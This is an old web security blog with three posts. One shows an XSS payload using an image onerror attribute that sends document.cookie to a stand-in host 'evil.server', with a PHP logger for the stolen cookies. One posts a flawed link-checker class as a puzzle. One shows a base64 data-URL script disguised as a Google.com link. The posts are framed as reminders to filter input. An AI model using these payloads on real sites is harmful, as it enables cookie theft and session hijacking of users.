XSS with Img OnError attribute
March 19th, 2008 by Aaron
So much of my time is spent worrying over the src or href tags on images and links - that I sometimes forget about the other attributes.
Imagine being able to make an image which has no black-flagged content in the src but yet can still make a remote request, logging the user’s cookie information? Thats right - this can be done - using the ‘onerror’ attribute of an image.
What you need to do is to create an image link that is obviously broken or empty. Then, javascript handles such events by throwing an error for that element. Add an item to the onerror attribute to request a remote URL as your images src - which you add on document.cookie. The remote script logs all requests, and then displays an image.
Check out the code below:
Source page without proper filtering:
View CodeHTML | |
1 2 3 4 5 6 7 | <html> <body> <h1>test</h1> <h2>asdf</h2> <img src="" onerror="this.src='http://evil.server/exploit.php?'+document.cookie" /> </body> </html> |
Then, on evil.server, place your image. Finally, top it off with the following code in exploit.php
View CodePHP | |
1 2 3 4 5 6 7 8 | <?php $image_path = 'test.jpg'; header('Accept-Ranges: bytes'); header('Content-Length: ' . filesize($image_path)); header('Keep-Alive: timeout=15, max=2469'); echo file_get_contents($image_path); file_put_contents("cookieLog.txt", $_SERVER['REQUEST_URI']); ?> |
Easy as that. Just another reminder to properly filter your use submitted content.
Link Checking Module - 1st attempt
March 19th, 2008 by Aaron
So I wrote some code the other day. It sat in my code repository and I never tested it. I was pretty certain it was going to be some good code, though.
A few weeks later I came back to it and looked through it - and laughed!! Anyone figure out where ALL the holes are in this code?
View CodePHP | |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | <?php class linkChecker { protected $_links = array(); protected $_sites = array(); public function __construct() { } public function addSite($site) { if (in_array($site, $this->_sites)) { throw new linkException("Site already in list"); } $this->_sites[] = $site; } public function processSites() { foreach ($this->_sites as $site) { $this->_processLinks($site); } } protected function _processLinks($url) { $this->_addLink($url, $url); $d = new DomDocument; @$d->loadHTMLFile($url); foreach ($d->getElementsByTagName('a') as $link) { $this->_addLink($link->getAttribute('href'), $url); } unset($d); } protected function _addLink($link, $url) { $l = new checkableLink($link, $url); if (!isset($this->_links[$l->url])) { $this->_checkLink($l); $this->_links[$l->url] = $l; } unset($l); } protected function _checkLink(checkableLink &$checkableLink) { $d = new DomDocument; $d->loadHTMLFile($checkableLink->url) or $checkableLink->valid = false; } } class checkableLink { public $host = null; public $url = null; public $checked = false; public $valid = true; public function __construct($link = null, $url = null) { if (stripos($link, '/') === 0) { $this->url = $url . $link; } else { $this->url = $url; } } } class linkException extends exception {} ?> |
Update your URL filtering: possible XSS from “Data” URL scheme - Firefox
March 17th, 2008 by Aaron
In regards to the Data in URL scheme (RFC here), I’ve found an interesting issue with the way firefox handles it which could lead to some XSS I think.
First of all, if you’re not aware of the feature, let me explain. Browsers are built to decode information in the URL (for the purpose of this blog, I’m JUST focusing on base64) with a specific URL handler: data:text/html;base64,
With this, you can add specific payloads to the URLs (think a very very small .com or .exe file) or specify the actual image data for an image tag (think single PHP scripts with no image directory - neeto!)
Well, because Firefox supports this action, you can now create javascript payloads in the URL too. Please check your HTML/URL filtering routines to make sure you filter against this malicious link type.
Lets see an example:
First off, this is just an example - so it’s pretty simple. But I could make a request to a remote server through an image.src or an ajax call. Here, I’m just alerting the cookie to the screen (note, if this wasn’t an alert, the average user would not notice.)
View CodeJAVASCRIPT | |
1 | <script>alert("cookie steal: "+document.cookie);window.location.href='http://www.google.com';</script> |
Which, when base64 encoded is
PHNjcmlwdD5hbGVydCgiY29va2llIHN0ZWFsOiAiK2RvY3VtZW50LmNvb2tpZSk7d2luZG93LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly93d3cuZ29vZ2xlLmNvbSc7PC9zY3JpcHQ+
Put it all together:
View CodeHTML | |
1 | <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiY29va2llIHN0ZWFsOiAiK2RvY3VtZW50LmNvb2tpZSk7d2luZG93LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly93d3cuZ29vZ2xlLmNvbSc7PC9zY3JpcHQ+">Google.com</a> |
Now, I’ve tested this example in Firefox 2 which supports this scheme - and it alerts the cookie. With IE 7, no such luck.
*Disclaimer* It should be noted, I think this is NOT an issue with Firefox’s handling of the specification. See #6:
6. Security Interpretation of the data within a "data" URL has the same security considerations as any implementation of the given media type. An application should not interpret the contents of a data URL which is marked with a media type that has been disallowed for processing by the application's configuration.
